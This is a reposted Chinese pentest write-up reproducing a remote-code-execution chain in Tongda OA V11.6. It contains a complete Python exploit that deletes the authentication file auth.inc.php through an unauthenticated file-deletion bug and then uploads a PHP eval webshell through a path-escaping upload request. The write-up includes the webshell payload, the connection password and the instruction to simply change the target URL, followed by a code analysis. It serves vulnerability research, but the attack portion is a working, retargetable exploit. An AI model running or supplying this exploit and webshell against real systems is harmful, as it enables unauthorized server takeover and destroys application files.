当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
0x04 通达OA V11.5和V11.7 版本无法复现该漏洞过程
本次漏洞复现,只测试了三个版本:
通达 OA V11.7 (最新)
通达 OA V11.6
通达 OA V11.5
修复建议:升级至最新版本
自己公司或去客户现场做测试的话,可以让客户去 webroot\inc 下将auth.inc.php备份一下,等利用成功GetShell 后,再将该文件放进去
2017版本的也可以被利用(版本自测),2019版本的都不行,2020版的,我测试V11.6可以复现解密 auth.inc.php 出来的代码
zend54 解密
<?php include_once 'inc/session.php'; $PHPSESSID = isset($_GET[ 'PHPSESSID']) ? $_GET[ 'PHPSESSID'] : ( isset($_POST[ 'PHPSESSID']) ? $_POST[ 'PHPSESSID'] : ''); if (preg_match( '/^[a-z0-9]{20,32}$/i', $PHPSESSID)) { session_id($PHPSESSID); } if (stristr($PHP_SELF, 'export') || stristr($PHP_SELF, 'excel') || stristr($PHP_SELF, 'word') || stristr($PHP_SELF, 'attach.php') || stristr($PHP_SELF, 'download.php') || stristr($PHP_SELF, 'down.php')) { session_cache_limiter( 'private, must-revalidate'); } session_start(); ob_start(); include_once 'inc/utility.php'; $SCRIPT_NAME = $_SERVER[ 'SCRIPT_NAME']; if ( 0 < MYOA_OFFLINE_TIME_MIN) { $LAST_OPERATION_TIME = $_COOKIE[ 'LAST_OPERATION_TIME']; if (!stristr($SCRIPT_NAME, '/general/ipanel/') && !stristr($SCRIPT_NAME, '/general/task_center/') && !stristr($SCRIPT_NAME, '/general/mytable/') && !stristr($SCRIPT_NAME, '/general/status_bar/') && !stristr($SCRIPT_NAME, '/general/topbar.php') && !stristr($SCRIPT_NAME, '/inc/')) { setcookie( 'LAST_OPERATION_TIME', time(), 0, '/'); } if ($LAST_OPERATION_TIME != '' && MYOA_OFFLINE_TIME_MIN * 60 < time() - $LAST_OPERATION_TIME) { $sessionid = session_id(); del_my_online_status($sessionid); clear_online_status(); setcookie( 'LAST_OPERATION_TIME', '', 1, '/'); session_unset(); session_destroy(); } } if (! isset($_SESSION[ 'LOGIN_USER_ID']) || $_SESSION[ 'LOGIN_USER_ID'] == '' || ! isset($_SESSION[ 'LOGIN_UID']) || $_SESSION[ 'LOGIN_UID'] == '') { sleep( 1); if ( isset($_SESSION[ 'SHARE_ID']) && $_SESSION[ 'SHARE_ID'] != '') { $query = 'select module,module_id from share where share_id=\'' . $_SESSION[ 'SHARE_ID'] . '\''; $cursor = exequery(TD::conn(), $query); if ($ROW = mysql_fetch_array($cursor)) { $module = $ROW[ 'module']; $module_id = $ROW[ 'module_id']; if (! isset($_SESSION[ 'SHARE_ALLOW_URL'][$module]) || isset($_SESSION[ 'SHARE_ALLOW_URL'][$module]) && $_SESSION[ 'SHARE_ALLOW_URL'][$module] != $module_id)如果结构没有大变动的话,应该都是可以GetShell成功后,将复制的备份文件丢进去。
PS:
该漏洞影响很大,如果被成功利用后会删除OA所需要的php文件来绕过验证,会对网站造成影响,建议渗透测试业务时,千万要让客户做系统备份或数据备份,很容易出事... ...
其实也不必要那么麻烦,我们可以这样,那个OA被删除的文件,比如说我做渗透的时候,自己本地有一个那个文件,getshell后在本地的上传过去给他恢复,这样不就可行?
说干就干,自己提前备份文件后,再次执行EXP 删除auth.inc.php 后GetShell 成功,此时登录网站OA系统的样式已损坏,但只要把我们之前备份的样式auth.inc.php 文件,即可恢复。
请勿用作犯罪使用,网络不是法外之地,请珍惜生命,勿触犯法律... ...
你任何的动作,别人都知晓,人外有人,天外有天,且行且珍惜... ...
0x01 通达OA V11.6 源码下载与安装
通达OA V11.6 下载地址:http://www.kxdw.com/soft/23114.html
步骤1:运行安装包傻瓜式安装
步骤2:运行安装包傻瓜式安装
步骤3:运行安装包傻瓜式安装
步骤4:成功安装
0x02 前言
账号为:admin 密码为:空
先登录看看,密码为空,直接登录,样式是这样的
0x03 复现漏洞
EXP 脚本
EXP:直接打,直接写到网站根目录下,文件名为:_agan.php,菜刀链接密码为:agan
-
import requests
-
-
target=
"http://192.168.159.137:8080/"
-
payload=
"<?php eval($_POST['agan']);?>"
-
print(
"[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
-
input(
"Press enter to continue")
-
print(
"[*]Deleting auth.inc.php....")
-
-
url=target+
"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
-
requests.get(url=url)
-
print(
"[*]Checking if file deleted...")
-
url=target+
"/inc/auth.inc.php"
-
page=requests.get(url=url).text
-
if
'No input file specified.' not in page:
-
print(
"[-]Failed to deleted auth.inc.php")
-
exit(
-1)
-
print(
"[+]Successfully deleted auth.inc.php!")
-
print(
"[*]Uploading payload...")
-
url=target+
"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
-
files = {
'FILE1': (
'agan.php', payload)}
-
requests.post(url=url,files=files)
-
url=target+
"/_agan.php"
-
page=requests.get(url=url).text
-
if
'No input file specified.' not in page:
-
print(
"[+]Filed Uploaded Successfully")
-
print(
"[+]URL:",url)
-
else:
-
print(
"[-]Failed to upload file")
直接利用上述代码即可,改一下你的URL地址即可
成功利用
可以看到成功写入,先访问这个目录看看,是真实存在的
链接地址:http://192.168.159.137:8080/_agan.php
再去服务端看看网站源码,是否也存在?
明显是存在的,也写进去了
连接看看
成功连接
此时虽然拿到WebShell后,但OA 的文件已损坏,再次登录是这样的,猜测是通过删除auth.inc.php文件来写入WebShell,导致引用的样式文件损坏
是不是以为这样,就完全没事呢?
其实,我们可以这样,那个OA被删除的文件,比如说我做渗透的时候,自己本地有一个那个文件,getshell后在本地的上传过去给他恢复,这样不就可行?
说干就干,自己提前备份文件后,再次执行EXP 删除auth.inc.php 后GetShell 成功,此时登录网站OA系统的样式已损坏,但只要把我们之前备份的样式auth.inc.php 文件,即可恢复。
0x04 通达OA V11.5和V11.7 版本无法复现该漏洞过程
用之前的脚本再试试
V11.5和V11.7 服务端网站根目录下没写进去,看来没利用成功。
0x05 漏洞分析
webroot/inc/auth.inc.php 解密一下文件
解密网址:https://dezend.qiling.org/free
/module/appbuilder/assets/print.php文件 (未授权访问导致产生文件删除漏洞)
这里可以看到 页面获取 guid参数的值
使用file_exists函数判断文件是否存在 并未进行校验 就执行unlink删除文件
exp中访问/general/data_center/utils/upload.php文件上传
调用action=upload上传文件
传入不存在的filetype 进入漏洞点
根据exp构造了上传文件名和内容 {‘FILE1’: (‘z1feiyu.php’, payload)}
同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
也就是说在这里构造访问上传后
file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件
总体的根据exp分析 首先存在了任意文件删除漏洞
然后删除登陆校验文件,进而导致任意文件上传漏洞
组合之后也就是现在的rce漏洞
参考链接:
https://mp.weixin.qq.com/s/5ObQlLc3XQY3oXXHJKieyA
https://mp.weixin.qq.com/s/cr4Iqq3RfxnOzTqZWzGSAQ
虽然我们生活在阴沟里,但依然有人仰望星空!
转载:https://blog.csdn.net/God_XiangYu/article/details/108091470